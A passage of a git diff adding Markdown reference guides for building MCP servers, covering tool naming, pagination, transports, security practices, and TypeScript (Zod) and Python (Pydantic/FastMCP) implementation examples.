Start with verbs (get, list, search, create, etc.) +4. **Be specific**: Avoid generic names that could conflict with other servers + +### Tool Design + +- Tool descriptions must narrowly and unambiguously describe functionality +- Descriptions must precisely match actual functionality +- Provide tool annotations (readOnlyHint, destructiveHint, idempotentHint, openWorldHint) +- Keep tool operations focused and atomic + +--- + +## Response Formats + +All tools that return data should support multiple formats: + +### JSON Format (`response_format="json"`) +- Machine-readable structured data +- Include all available fields and metadata +- Consistent field names and types +- Use for programmatic processing + +### Markdown Format (`response_format="markdown"`, typically default) +- Human-readable formatted text +- Use headers, lists, and formatting for clarity +- Convert timestamps to human-readable format +- Show display names with IDs in parentheses +- Omit verbose metadata + +--- + +## Pagination + +For tools that list resources: + +- **Always respect the `limit` parameter** +- **Implement pagination**: Use `offset` or cursor-based pagination +- **Return pagination metadata**: Include `has_more`, `next_offset`/`next_cursor`, `total_count` +- **Never load all results into memory**: Especially important for large datasets +- **Default to reasonable limits**: 20-50 items is typical + +Example pagination response: +```json +{ + "total": 150, + "count": 20, + "offset": 0, + "items": [...], + "has_more": true, + "next_offset": 20 +} +``` + +--- + +## Transport Options + +### Streamable HTTP + +**Best for**: Remote servers, web services, multi-client scenarios + +**Characteristics**: +- Bidirectional communication over HTTP +- Supports multiple simultaneous clients +- Can be deployed as a web service +- Enables server-to-client notifications + +**Use when**: +- Serving multiple clients simultaneously +- Deploying as a cloud service +- Integration with web applications + +### stdio + +**Best for**: Local integrations, command-line tools + +**Characteristics**: +- Standard input/output stream communication +- Simple setup, no network configuration needed +- Runs as a subprocess of the client + +**Use when**: +- Building tools for local development environments +- Integrating with desktop applications +- Single-user, single-session scenarios + +**Note**: stdio servers should NOT log to stdout (use stderr for logging) + +### Transport Selection + +| Criterion | stdio | Streamable HTTP | +|-----------|-------|-----------------| +| **Deployment** | Local | Remote | +| **Clients** | Single | Multiple | +| **Complexity** | Low | Medium | +| **Real-time** | No | Yes | + +--- + +## Security Best Practices + +### Authentication and Authorization + +**OAuth 2.1**: +- Use secure OAuth 2.1 with certificates from recognized authorities +- Validate access tokens before processing requests +- Only accept tokens specifically intended for your server + +**API Keys**: +- Store API keys in environment variables, never in code +- Validate keys on server startup +- Provide clear error messages when authentication fails + +### Input Validation + +- Sanitize file paths to prevent directory traversal +- Validate URLs and external identifiers +- Check parameter sizes and ranges +- Prevent command injection in system calls +- Use schema validation (Pydantic/Zod) for all inputs + +### Error Handling + +- Don't expose internal errors to clients +- Log security-relevant errors server-side +- Provide helpful but not revealing error messages +- Clean up resources after errors + +### DNS Rebinding Protection + +For streamable HTTP servers running locally: +- Enable DNS rebinding protection +- Validate the `Origin` header on all incoming connections +- Bind to `127.0.0.1` rather than `0.0.0.0` + +--- + +## Tool Annotations + +Provide annotations to help clients understand tool behavior: + +| Annotation | Type | Default | Description | +|-----------|------|---------|-------------| +| `readOnlyHint` | boolean | false | Tool does not modify its environment | +| `destructiveHint` | boolean | true | Tool may perform destructive updates | +| `idempotentHint` | boolean | false | Repeated calls with same args have no additional effect | +| `openWorldHint` | boolean | true | Tool interacts with external entities | + +**Important**: Annotations are hints, not security guarantees. Clients should not make security-critical decisions based solely on annotations. + +--- + +## Error Handling + +- Use standard JSON-RPC error codes +- Report tool errors within result objects (not protocol-level errors) +- Provide helpful, specific error messages with suggested next steps +- Don't expose internal implementation details +- Clean up resources properly on errors + +Example error handling: +```typescript +try { + const result = performOperation(); + return { content: [{ type: "text", text: result }] }; +} catch (error) { + return { + isError: true, + content: [{ + type: "text", + text: `Error: ${error.message}. Try using filter='active_only' to reduce results.` + }] + }; +} +``` + +--- + +## Testing Requirements + +Comprehensive testing should cover: + +- **Functional testing**: Verify correct execution with valid/invalid inputs +- **Integration testing**: Test interaction with external systems +- **Security testing**: Validate auth, input sanitization, rate limiting +- **Performance testing**: Check behavior under load, timeouts +- **Error handling**: Ensure proper error reporting and cleanup + +--- + +## Documentation Requirements + +- Provide clear documentation of all tools and capabilities +- Include working examples (at least 3 per major feature) +- Document security considerations +- Specify required permissions and access levels +- Document rate limits and performance characteristics diff --git a/skills/mcp-builder/reference/node_mcp_server.md b/skills/mcp-builder/reference/node_mcp_server.md new file mode 100644 index 00000000..f6e5df98 --- /dev/null +++ b/skills/mcp-builder/reference/node_mcp_server.md @@ -0,0 +1,970 @@ +# Node/TypeScript MCP Server Implementation Guide + +## Overview + +This document provides Node/TypeScript-specific best practices and examples for implementing MCP servers using the MCP TypeScript SDK. It covers project structure, server setup, tool registration patterns, input validation with Zod, error handling, and complete working examples. + +--- + +## Quick Reference + +### Key Imports +```typescript +import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; +import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; +import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; +import express from "express"; +import { z } from "zod"; +``` + +### Server Initialization +```typescript +const server = new McpServer({ + name: "service-mcp-server", + version: "1.0.0" +}); +``` + +### Tool Registration Pattern +```typescript +server.registerTool( + "tool_name", + { + title: "Tool Display Name", + description: "What the tool does", + inputSchema: { param: z.string() }, + outputSchema: { result: z.string() } + }, + async ({ param }) => { + const output = { result: `Processed: ${param}` }; + return { + content: [{ type: "text", text: JSON.stringify(output) }], + structuredContent: output // Modern pattern for structured data + }; + } +); +``` + +--- + +## MCP TypeScript SDK + +The official MCP TypeScript SDK provides: +- `McpServer` class for server initialization +- `registerTool` method for tool registration +- Zod schema integration for runtime input validation +- Type-safe tool handler implementations + +**IMPORTANT - Use Modern APIs Only:** +- **DO use**: `server.registerTool()`, `server.registerResource()`, `server.registerPrompt()` +- **DO NOT use**: Old deprecated APIs such as `server.tool()`, `server.setRequestHandler(ListToolsRequestSchema, ...)`, or manual handler registration +- The `register*` methods provide better type safety, automatic schema handling, and are the recommended approach + +See the MCP SDK documentation in the references for complete details. + +## Server Naming Convention + +Node/TypeScript MCP servers must follow this naming pattern: +- **Format**: `{service}-mcp-server` (lowercase with hyphens) +- **Examples**: `github-mcp-server`, `jira-mcp-server`, `stripe-mcp-server` + +The name should be: +- General (not tied to specific features) +- Descriptive of the service/API being integrated +- Easy to infer from the task description +- Without version numbers or dates + +## Project Structure + +Create the following structure for Node/TypeScript MCP servers: + +``` +{service}-mcp-server/ +├── package.json +├── tsconfig.json +├── README.md +├── src/ +│ ├── index.ts # Main entry point with McpServer initialization +│ ├── types.ts # TypeScript type definitions and interfaces +│ ├── tools/ # Tool implementations (one file per domain) +│ ├── services/ # API clients and shared utilities +│ ├── schemas/ # Zod validation schemas +│ └── constants.ts # Shared constants (API_URL, CHARACTER_LIMIT, etc.) +└── dist/ # Built JavaScript files (entry point: dist/index.js) +``` + +## Tool Implementation + +### Tool Naming + +Use snake_case for tool names (e.g., "search_users", "create_project", "get_channel_info") with clear, action-oriented names. + +**Avoid Naming Conflicts**: Include the service context to prevent overlaps: +- Use "slack_send_message" instead of just "send_message" +- Use "github_create_issue" instead of just "create_issue" +- Use "asana_list_tasks" instead of just "list_tasks" + +### Tool Structure + +Tools are registered using the `registerTool` method with the following requirements: +- Use Zod schemas for runtime input validation and type safety +- The `description` field must be explicitly provided - JSDoc comments are NOT automatically extracted +- Explicitly provide `title`, `description`, `inputSchema`, and `annotations` +- The `inputSchema` must be a Zod schema object (not a JSON schema) +- Type all parameters and return values explicitly + +```typescript +import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; +import { z } from "zod"; + +const server = new McpServer({ + name: "example-mcp", + version: "1.0.0" +}); + +// Zod schema for input validation +const UserSearchInputSchema = z.object({ + query: z.string() + .min(2, "Query must be at least 2 characters") + .max(200, "Query must not exceed 200 characters") + .describe("Search string to match against names/emails"), + limit: z.number() + .int() + .min(1) + .max(100) + .default(20) + .describe("Maximum results to return"), + offset: z.number() + .int() + .min(0) + .default(0) + .describe("Number of results to skip for pagination"), + response_format: z.nativeEnum(ResponseFormat) + .default(ResponseFormat.MARKDOWN) + .describe("Output format: 'markdown' for human-readable or 'json' for machine-readable") +}).strict(); + +// Type definition from Zod schema +type UserSearchInput = z.infer<typeof UserSearchInputSchema>; + +server.registerTool( + "example_search_users", + { + title: "Search Example Users", + description: `Search for users in the Example system by name, email, or team. + +This tool searches across all user profiles in the Example platform, supporting partial matches and various search filters. It does NOT create or modify users, only searches existing ones. + +Args: + - query (string): Search string to match against names/emails + - limit (number): Maximum results to return, between 1-100 (default: 20) + - offset (number): Number of results to skip for pagination (default: 0) + - response_format ('markdown' | 'json'): Output format (default: 'markdown') + +Returns: + For JSON format: Structured data with schema: + { + "total": number, // Total number of matches found + "count": number, // Number of results in this response + "offset": number, // Current pagination offset + "users": [ + { + "id": string, // User ID (e.g., "U123456789") + "name": string, // Full name (e.g., "John Doe") + "email": string, // Email address + "team": string, // Team name (optional) + "active": boolean // Whether user is active + } + ], + "has_more": boolean, // Whether more results are available + "next_offset": number // Offset for next page (if has_more is true) + } + +Examples: + - Use when: "Find all marketing team members" -> params with query="team:marketing" + - Use when: "Search for John's account" -> params with query="john" + - Don't use when: You need to create a user (use example_create_user instead) + +Error Handling: + - Returns "Error: Rate limit exceeded" if too many requests (429 status) + - Returns "No users found matching '<query>'" if search returns empty`, + inputSchema: UserSearchInputSchema, + annotations: { + readOnlyHint: true, + destructiveHint: false, + idempotentHint: true, + openWorldHint: true + } + }, + async (params: UserSearchInput) => { + try { + // Input validation is handled by Zod schema + // Make API request using validated parameters + const data = await makeApiRequest<any>( + "users/search", + "GET", + undefined, + { + q: params.query, + limit: params.limit, + offset: params.offset + } + ); + + const users = data.users || []; + const total = data.total || 0; + + if (!users.length) { + return { + content: [{ + type: "text", + text: `No users found matching '${params.query}'` + }] + }; + } + + // Prepare structured output + const output = { + total, + count: users.length, + offset: params.offset, + users: users.map((user: any) => ({ + id: user.id, + name: user.name, + email: user.email, + ...(user.team ? { team: user.team } : {}), + active: user.active ?? true + })), + has_more: total > params.offset + users.length, + ...(total > params.offset + users.length ? { + next_offset: params.offset + users.length + } : {}) + }; + + // Format text representation based on requested format + let textContent: string; + if (params.response_format === ResponseFormat.MARKDOWN) { + const lines = [`# User Search Results: '${params.query}'`, "", + `Found ${total} users (showing ${users.length})`, ""]; + for (const user of users) { + lines.push(`## ${user.name} (${user.id})`); + lines.push(`- **Email**: ${user.email}`); + if (user.team) lines.push(`- **Team**: ${user.team}`); + lines.push(""); + } + textContent = lines.join("\n"); + } else { + textContent = JSON.stringify(output, null, 2); + } + + return { + content: [{ type: "text", text: textContent }], + structuredContent: output // Modern pattern for structured data + }; + } catch (error) { + return { + content: [{ + type: "text", + text: handleApiError(error) + }] + }; + } + } +); +``` + +## Zod Schemas for Input Validation + +Zod provides runtime type validation: + +```typescript +import { z } from "zod"; + +// Basic schema with validation +const CreateUserSchema = z.object({ + name: z.string() + .min(1, "Name is required") + .max(100, "Name must not exceed 100 characters"), + email: z.string() + .email("Invalid email format"), + age: z.number() + .int("Age must be a whole number") + .min(0, "Age cannot be negative") + .max(150, "Age cannot be greater than 150") +}).strict(); // Use .strict() to forbid extra fields + +// Enums +enum ResponseFormat { + MARKDOWN = "markdown", + JSON = "json" +} + +const SearchSchema = z.object({ + response_format: z.nativeEnum(ResponseFormat) + .default(ResponseFormat.MARKDOWN) + .describe("Output format") +}); + +// Optional fields with defaults +const PaginationSchema = z.object({ + limit: z.number() + .int() + .min(1) + .max(100) + .default(20) + .describe("Maximum results to return"), + offset: z.number() + .int() + .min(0) + .default(0) + .describe("Number of results to skip") +}); +``` + +## Response Format Options + +Support multiple output formats for flexibility: + +```typescript +enum ResponseFormat { + MARKDOWN = "markdown", + JSON = "json" +} + +const inputSchema = z.object({ + query: z.string(), + response_format: z.nativeEnum(ResponseFormat) + .default(ResponseFormat.MARKDOWN) + .describe("Output format: 'markdown' for human-readable or 'json' for machine-readable") +}); +``` + +**Markdown format**: +- Use headers, lists, and formatting for clarity +- Convert timestamps to human-readable format +- Show display names with IDs in parentheses +- Omit verbose metadata +- Group related information logically + +**JSON format**: +- Return complete, structured data suitable for programmatic processing +- Include all available fields and metadata +- Use consistent field names and types + +## Pagination Implementation + +For tools that list resources: + +```typescript +const ListSchema = z.object({ + limit: z.number().int().min(1).max(100).default(20), + offset: z.number().int().min(0).default(0) +}); + +async function listItems(params: z.infer<typeof ListSchema>) { + const data = await apiRequest(params.limit, params.offset); + + const response = { + total: data.total, + count: data.items.length, + offset: params.offset, + items: data.items, + has_more: data.total > params.offset + data.items.length, + next_offset: data.total > params.offset + data.items.length + ? params.offset + data.items.length + : undefined + }; + + return JSON.stringify(response, null, 2); +} +``` + +## Character Limits and Truncation + +Add a CHARACTER_LIMIT constant to prevent overwhelming responses: + +```typescript +// At module level in constants.ts +export const CHARACTER_LIMIT = 25000; // Maximum response size in characters + +async function searchTool(params: SearchInput) { + let result = generateResponse(data); + + // Check character limit and truncate if needed + if (result.length > CHARACTER_LIMIT) { + const truncatedData = data.slice(0, Math.max(1, data.length / 2)); + response.data = truncatedData; + response.truncated = true; + response.truncation_message = + `Response truncated from ${data.length} to ${truncatedData.length} items. ` + + `Use 'offset' parameter or add filters to see more results.`; + result = JSON.stringify(response, null, 2); + } + + return result; +} +``` + +## Error Handling + +Provide clear, actionable error messages: + +```typescript +import axios, { AxiosError } from "axios"; + +function handleApiError(error: unknown): string { + if (error instanceof AxiosError) { + if (error.response) { + switch (error.response.status) { + case 404: + return "Error: Resource not found. Please check the ID is correct."; + case 403: + return "Error: Permission denied. You don't have access to this resource."; + case 429: + return "Error: Rate limit exceeded. Please wait before making more requests."; + default: + return `Error: API request failed with status ${error.response.status}`; + } + } else if (error.code === "ECONNABORTED") { + return "Error: Request timed out. Please try again."; + } + } + return `Error: Unexpected error occurred: ${error instanceof Error ? error.message : String(error)}`; +} +``` + +## Shared Utilities + +Extract common functionality into reusable functions: + +```typescript +// Shared API request function +async function makeApiRequest<T>( + endpoint: string, + method: "GET" | "POST" | "PUT" | "DELETE" = "GET", + data?: any, + params?: any +): Promise<T> { + try { + const response = await axios({ + method, + url: `${API_BASE_URL}/${endpoint}`, + data, + params, + timeout: 30000, + headers: { + "Content-Type": "application/json", + "Accept": "application/json" + } + }); + return response.data; + } catch (error) { + throw error; + } +} +``` + +## Async/Await Best Practices + +Always use async/await for network requests and I/O operations: + +```typescript +// Good: Async network request +async function fetchData(resourceId: string): Promise<ResourceData> { + const response = await axios.get(`${API_URL}/resource/${resourceId}`); + return response.data; +} + +// Bad: Promise chains +function fetchData(resourceId: string): Promise<ResourceData> { + return axios.get(`${API_URL}/resource/${resourceId}`) + .then(response => response.data); // Harder to read and maintain +} +``` + +## TypeScript Best Practices + +1. **Use Strict TypeScript**: Enable strict mode in tsconfig.json +2. **Define Interfaces**: Create clear interface definitions for all data structures +3. **Avoid `any`**: Use proper types or `unknown` instead of `any` +4. **Zod for Runtime Validation**: Use Zod schemas to validate external data +5. **Type Guards**: Create type guard functions for complex type checking +6. **Error Handling**: Always use try-catch with proper error type checking +7. **Null Safety**: Use optional chaining (`?.`) and nullish coalescing (`??`) + +```typescript +// Good: Type-safe with Zod and interfaces +interface UserResponse { + id: string; + name: string; + email: string; + team?: string; + active: boolean; +} + +const UserSchema = z.object({ + id: z.string(), + name: z.string(), + email: z.string().email(), + team: z.string().optional(), + active: z.boolean() +}); + +type User = z.infer<typeof UserSchema>; + +async function getUser(id: string): Promise<User> { + const data = await apiCall(`/users/${id}`); + return UserSchema.parse(data); // Runtime validation +} + +// Bad: Using any +async function getUser(id: string): Promise<any> { + return await apiCall(`/users/${id}`); // No type safety +} +``` + +## Package Configuration + +### package.json + +```json +{ + "name": "{service}-mcp-server", + "version": "1.0.0", + "description": "MCP server for {Service} API integration", + "type": "module", + "main": "dist/index.js", + "scripts": { + "start": "node dist/index.js", + "dev": "tsx watch src/index.ts", + "build": "tsc", + "clean": "rm -rf dist" + }, + "engines": { + "node": ">=18" + }, + "dependencies": { + "@modelcontextprotocol/sdk": "^1.6.1", + "axios": "^1.7.9", + "zod": "^3.23.8" + }, + "devDependencies": { + "@types/node": "^22.10.0", + "tsx": "^4.19.2", + "typescript": "^5.7.2" + } +} +``` + +### tsconfig.json + +```json +{ + "compilerOptions": { + "target": "ES2022", + "module": "Node16", + "moduleResolution": "Node16", + "lib": ["ES2022"], + "outDir": "./dist", + "rootDir": "./src", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "declaration": true, + "declarationMap": true, + "sourceMap": true, + "allowSyntheticDefaultImports": true + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +} +``` + +## Complete Example + +```typescript +#!/usr/bin/env node +/** + * MCP Server for Example Service. + * + * This server provides tools to interact with Example API, including user search, + * project management, and data export capabilities. + */ + +import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; +import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; +import { z } from "zod"; +import axios, { AxiosError } from "axios"; + +// Constants +const API_BASE_URL = "https://api.example.com/v1"; +const CHARACTER_LIMIT = 25000; + +// Enums +enum ResponseFormat { + MARKDOWN = "markdown", + JSON = "json" +} + +// Zod schemas +const UserSearchInputSchema = z.object({ + query: z.string() + .min(2, "Query must be at least 2 characters") + .max(200, "Query must not exceed 200 characters") + .describe("Search string to match against names/emails"), + limit: z.number() + .int() + .min(1) + .max(100) + .default(20) + .describe("Maximum results to return"), + offset: z.number() + .int() + .min(0) + .default(0) + .describe("Number of results to skip for pagination"), + response_format: z.nativeEnum(ResponseFormat) + .default(ResponseFormat.MARKDOWN) + .describe("Output format: 'markdown' for human-readable or 'json' for machine-readable") +}).strict(); + +type UserSearchInput = z.infer<typeof UserSearchInputSchema>; + +// Shared utility functions +async function makeApiRequest<T>( + endpoint: string, + method: "GET" | "POST" | "PUT" | "DELETE" = "GET", + data?: any, + params?: any +): Promise<T> { + try { + const response = await axios({ + method, + url: `${API_BASE_URL}/${endpoint}`, + data, + params, + timeout: 30000, + headers: { + "Content-Type": "application/json", + "Accept": "application/json" + } + }); + return response.data; + } catch (error) { + throw error; + } +} + +function handleApiError(error: unknown): string { + if (error instanceof AxiosError) { + if (error.response) { + switch (error.response.status) { + case 404: + return "Error: Resource not found. Please check the ID is correct."; + case 403: + return "Error: Permission denied. You don't have access to this resource."; + case 429: + return "Error: Rate limit exceeded. Please wait before making more requests."; + default: + return `Error: API request failed with status ${error.response.status}`; + } + } else if (error.code === "ECONNABORTED") { + return "Error: Request timed out. Please try again."; + } + } + return `Error: Unexpected error occurred: ${error instanceof Error ? error.message : String(error)}`; +} + +// Create MCP server instance +const server = new McpServer({ + name: "example-mcp", + version: "1.0.0" +}); + +// Register tools +server.registerTool( + "example_search_users", + { + title: "Search Example Users", + description: `[Full description as shown above]`, + inputSchema: UserSearchInputSchema, + annotations: { + readOnlyHint: true, + destructiveHint: false, + idempotentHint: true, + openWorldHint: true + } + }, + async (params: UserSearchInput) => { + // Implementation as shown above + } +); + +// Main function +// For stdio (local): +async function runStdio() { + if (!process.env.EXAMPLE_API_KEY) { + console.error("ERROR: EXAMPLE_API_KEY environment variable is required"); + process.exit(1); + } + + const transport = new StdioServerTransport(); + await server.connect(transport); + console.error("MCP server running via stdio"); +} + +// For streamable HTTP (remote): +async function runHTTP() { + if (!process.env.EXAMPLE_API_KEY) { + console.error("ERROR: EXAMPLE_API_KEY environment variable is required"); + process.exit(1); + } + + const app = express(); + app.use(express.json()); + + app.post('/mcp', async (req, res) => { + const transport = new StreamableHTTPServerTransport({ + sessionIdGenerator: undefined, + enableJsonResponse: true + }); + res.on('close', () => transport.close()); + await server.connect(transport); + await transport.handleRequest(req, res, req.body); + }); + + const port = parseInt(process.env.PORT || '3000'); + app.listen(port, () => { + console.error(`MCP server running on http://localhost:${port}/mcp`); + }); +} + +// Choose transport based on environment +const transport = process.env.TRANSPORT || 'stdio'; +if (transport === 'http') { + runHTTP().catch(error => { + console.error("Server error:", error); + process.exit(1); + }); +} else { + runStdio().catch(error => { + console.error("Server error:", error); + process.exit(1); + }); +} +``` + +--- + +## Advanced MCP Features + +### Resource Registration + +Expose data as resources for efficient, URI-based access: + +```typescript +import { ResourceTemplate } from "@modelcontextprotocol/sdk/types.js"; + +// Register a resource with URI template +server.registerResource( + { + uri: "file://documents/{name}", + name: "Document Resource", + description: "Access documents by name", + mimeType: "text/plain" + }, + async (uri: string) => { + // Extract parameter from URI + const match = uri.match(/^file:\/\/documents\/(.+)$/); + if (!match) { + throw new Error("Invalid URI format"); + } + + const documentName = match[1]; + const content = await loadDocument(documentName); + + return { + contents: [{ + uri, + mimeType: "text/plain", + text: content + }] + }; + } +); + +// List available resources dynamically +server.registerResourceList(async () => { + const documents = await getAvailableDocuments(); + return { + resources: documents.map(doc => ({ + uri: `file://documents/${doc.name}`, + name: doc.name, + mimeType: "text/plain", + description: doc.description + })) + }; +}); +``` + +**When to use Resources vs Tools:** +- **Resources**: For data access with simple URI-based parameters +- **Tools**: For complex operations requiring validation and business logic +- **Resources**: When data is relatively static or template-based +- **Tools**: When operations have side effects or complex workflows + +### Transport Options + +The TypeScript SDK supports two main transport mechanisms: + +#### Streamable HTTP (Recommended for Remote Servers) + +```typescript +import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; +import express from "express"; + +const app = express(); +app.use(express.json()); + +app.post('/mcp', async (req, res) => { + // Create new transport for each request (stateless, prevents request ID collisions) + const transport = new StreamableHTTPServerTransport({ + sessionIdGenerator: undefined, + enableJsonResponse: true + }); + + res.on('close', () => transport.close()); + + await server.connect(transport); + await transport.handleRequest(req, res, req.body); +}); + +app.listen(3000); +``` + +#### stdio (For Local Integrations) + +```typescript +import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; + +const transport = new StdioServerTransport(); +await server.connect(transport); +``` + +**Transport selection:** +- **Streamable HTTP**: Web services, remote access, multiple clients +- **stdio**: Command-line tools, local development, subprocess integration + +### Notification Support + +Notify clients when server state changes: + +```typescript +// Notify when tools list changes +server.notification({ + method: "notifications/tools/list_changed" +}); + +// Notify when resources change +server.notification({ + method: "notifications/resources/list_changed" +}); +``` + +Use notifications sparingly - only when server capabilities genuinely change. + +--- + +## Code Best Practices + +### Code Composability and Reusability + +Your implementation MUST prioritize composability and code reuse: + +1. **Extract Common Functionality**: + - Create reusable helper functions for operations used across multiple tools + - Build shared API clients for HTTP requests instead of duplicating code + - Centralize error handling logic in utility functions + - Extract business logic into dedicated functions that can be composed + - Extract shared markdown or JSON field selection & formatting functionality + +2. **Avoid Duplication**: + - NEVER copy-paste similar code between tools + - If you find yourself writing similar logic twice, extract it into a function + - Common operations like pagination, filtering, field selection, and formatting should be shared + - Authentication/authorization logic should be centralized + +## Building and Running + +Always build your TypeScript code before running: + +```bash +# Build the project +npm run build + +# Run the server +npm start + +# Development with auto-reload +npm run dev +``` + +Always ensure `npm run build` completes successfully before considering the implementation complete. + +## Quality Checklist + +Before finalizing your Node/TypeScript MCP server implementation, ensure: + +### Strategic Design +- [ ] Tools enable complete workflows, not just API endpoint wrappers +- [ ] Tool names reflect natural task subdivisions +- [ ] Response formats optimize for agent context efficiency +- [ ] Human-readable identifiers used where appropriate +- [ ] Error messages guide agents toward correct usage + +### Implementation Quality +- [ ] FOCUSED IMPLEMENTATION: Most important and valuable tools implemented +- [ ] All tools registered using `registerTool` with complete configuration +- [ ] All tools include `title`, `description`, `inputSchema`, and `annotations` +- [ ] Annotations correctly set (readOnlyHint, destructiveHint, idempotentHint, openWorldHint) +- [ ] All tools use Zod schemas for runtime input validation with `.strict()` enforcement +- [ ] All Zod schemas have proper constraints and descriptive error messages +- [ ] All tools have comprehensive descriptions with explicit input/output types +- [ ] Descriptions include return value examples and complete schema documentation +- [ ] Error messages are clear, actionable, and educational + +### TypeScript Quality +- [ ] TypeScript interfaces are defined for all data structures +- [ ] Strict TypeScript is enabled in tsconfig.json +- [ ] No use of `any` type - use `unknown` or proper types instead +- [ ] All async functions have explicit Promise<T> return types +- [ ] Error handling uses proper type guards (e.g., `axios.isAxiosError`, `z.ZodError`) + +### Advanced Features (where applicable) +- [ ] Resources registered for appropriate data endpoints +- [ ] Appropriate transport configured (stdio or streamable HTTP) +- [ ] Notifications implemented for dynamic server capabilities +- [ ] Type-safe with SDK interfaces + +### Project Configuration +- [ ] Package.json includes all necessary dependencies +- [ ] Build script produces working JavaScript in dist/ directory +- [ ] Main entry point is properly configured as dist/index.js +- [ ] Server name follows format: `{service}-mcp-server` +- [ ] tsconfig.json properly configured with strict mode + +### Code Quality +- [ ] Pagination is properly implemented where applicable +- [ ] Large responses check CHARACTER_LIMIT constant and truncate with clear messages +- [ ] Filtering options are provided for potentially large result sets +- [ ] All network operations handle timeouts and connection errors gracefully +- [ ] Common functionality is extracted into reusable functions +- [ ] Return types are consistent across similar operations + +### Testing and Build +- [ ] `npm run build` completes successfully without errors +- [ ] dist/index.js created and executable +- [ ] Server runs: `node dist/index.js --help` +- [ ] All imports resolve correctly +- [ ] Sample tool calls work as expected \ No newline at end of file diff --git a/skills/mcp-builder/reference/python_mcp_server.md b/skills/mcp-builder/reference/python_mcp_server.md new file mode 100644 index 00000000..cf7ec996 --- /dev/null +++ b/skills/mcp-builder/reference/python_mcp_server.md @@ -0,0 +1,719 @@ +# Python MCP Server Implementation Guide + +## Overview + +This document provides Python-specific best practices and examples for implementing MCP servers using the MCP Python SDK. It covers server setup, tool registration patterns, input validation with Pydantic, error handling, and complete working examples. + +--- + +## Quick Reference + +### Key Imports +```python +from mcp.server.fastmcp import FastMCP +from pydantic import BaseModel, Field, field_validator, ConfigDict +from typing import Optional, List, Dict, Any +from enum import Enum +import httpx +``` + +### Server Initialization +```python +mcp = FastMCP("service_mcp") +``` + +### Tool Registration Pattern +```python +@mcp.tool(name="tool_name", annotations={...}) +async def tool_function(params: InputModel) -> str: + # Implementation + pass +``` + +--- + +## MCP Python SDK and FastMCP + +The official MCP Python SDK provides FastMCP, a high-level framework for building MCP servers. It provides: +- Automatic description and inputSchema generation from function signatures and docstrings +- Pydantic model integration for input validation +- Decorator-based tool registration with `@mcp.tool` + +**For complete SDK documentation, use WebFetch to load:** +`https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` + +## Server Naming Convention + +Python MCP servers must follow this naming pattern: +- **Format**: `{service}_mcp` (lowercase with underscores) +- **Examples**: `github_mcp`, `jira_mcp`, `stripe_mcp` + +The name should be: +- General (not tied to specific features) +- Descriptive of the service/API being integrated +- Easy to infer from the task description +- Without version numbers or dates + +## Tool Implementation + +### Tool Naming + +Use snake_case for tool names (e.g., "search_users", "create_project", "get_channel_info") with clear, action-oriented names. + +**Avoid Naming Conflicts**: Include the service context to prevent overlaps: +- Use "slack_send_message" instead of just "send_message" +- Use "github_create_issue" instead of just "create_issue" +- Use "asana_list_tasks" instead of just "list_tasks" + +### Tool Structure with FastMCP + +Tools are defined using the `@mcp.tool` decorator with Pydantic models for input validation: + +```python +from pydantic import BaseModel, Field, ConfigDict +from mcp.server.fastmcp import FastMCP + +# Initialize the MCP server +mcp = FastMCP("example_mcp") + +# Define Pydantic model for input validation +class ServiceToolInput(BaseModel): + '''Input model for service tool operation.''' + model_config = ConfigDict( + str_strip_whitespace=True, # Auto-strip whitespace from strings + validate_assignment=True, # Validate on assignment + extra='forbid' # Forbid extra fields + ) + + param1: str = Field(..., description="First parameter description (e.g., 'user123', 'project-abc')", min_length=1, max_length=100) + param2: Optional[int] = Field(default=None, description="Optional integer parameter with constraints", ge=0, le=1000) + tags: Optional[List[str]] = Field(default_factory=list, description="List of tags to apply", max_items=10) + +@mcp.tool( + name="service_tool_name", + annotations={ + "title": "Human-Readable Tool Title", + "readOnlyHint": True, # Tool does not modify environment + "destructiveHint": False, # Tool does not perform destructive operations + "idempotentHint": True, # Repeated calls have no additional effect + "openWorldHint": False # Tool does not interact with external entities + } +) +async def service_tool_name(params: ServiceToolInput) -> str: + '''Tool description automatically becomes the 'description' field. + + This tool performs a specific operation on the service. It validates all inputs + using the ServiceToolInput Pydantic model before processing. + + Args: + params (ServiceToolInput): Validated input parameters containing: + - param1 (str): First parameter description + - param2 (Optional[int]): Optional parameter with default + - tags (Optional[List[str]]): List of tags + + Returns: + str: JSON-formatted response containing operation results + ''' + # Implementation here + pass +``` + +## Pydantic v2 Key Features + +- Use `model_config` instead of nested `Config` class +- Use `field_validator` instead of deprecated `validator` +- Use `model_dump()` instead of deprecated `dict()` +- Validators require `@classmethod` decorator +- Type hints are required for validator methods + +```python +from pydantic import BaseModel, Field, field_validator, ConfigDict + +class CreateUserInput(BaseModel): + model_config = ConfigDict( + str_strip_whitespace=True, + validate_assignment=True + ) + + name: str = Field(..., description="User's full name", min_length=1, max_length=100) + email: str = Field(..., description="User's email address", pattern=r'^[\w\.-]+@[\w\.-]+\.\w+$') + age: int = Field(..., description="User's age", ge=0, le=150) + + @field_validator('email') + @classmethod + def validate_email(cls, v: str) -> str: + if not v.strip(): + raise ValueError("Email cannot be empty") + return v.lower() +``` + +## Response Format Options + +Support multiple output formats for flexibility: + +```python +from enum import Enum + +class ResponseFormat(str, Enum): + '''Output format for tool responses.''' + MARKDOWN = "markdown" + JSON = "json" + +class UserSearchInput(BaseModel): + query: str = Field(..., description="Search query") + response_format: ResponseFormat = Field( + default=ResponseFormat.MARKDOWN, + description="Output format: 'markdown' for human-readable or 'json' for machine-readable" + ) +``` + +**Markdown format**: +- Use headers, lists, and formatting for clarity +- Convert timestamps to human-readable format (e.g., "2024-01-15 10:30:00 UTC" instead of epoch) +- Show display names with IDs in parentheses (e.g., "@john.doe (U123456)") +- Omit verbose metadata (e.g., show only one profile image URL, not all sizes) +- Group related information logically + +**JSON format**: +- Return complete, structured data suitable for programmatic processing +- 